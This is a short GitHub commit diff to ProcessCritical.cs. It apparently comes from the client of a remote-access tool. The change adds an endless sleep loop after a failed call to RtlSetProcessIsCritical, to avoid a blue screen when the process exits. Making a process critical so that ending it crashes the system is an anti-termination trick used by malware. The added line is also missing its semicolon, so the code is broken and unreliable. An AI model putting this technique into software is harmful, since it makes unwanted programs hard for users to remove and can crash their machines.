Update to ProcessCritical.cs

Address's a potential unintentional crash on DE-escalating failure which would cause a BSOD
This commit is contained in:
MrDevBot 2019-05-21 19:03:28 +10:00 committed by GitHub
parent 1846a77b5a
commit c9f3d0759e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -21,7 +21,13 @@ namespace Client.Helper
{ {
RtlSetProcessIsCritical(0, 0, 0); RtlSetProcessIsCritical(0, 0, 0);
} }
catch { } catch
{
while(true)
{
Thread.Sleep(100000) //prevents a BSOD on exit failure
}
}
} }
#region "Native Methods" #region "Native Methods"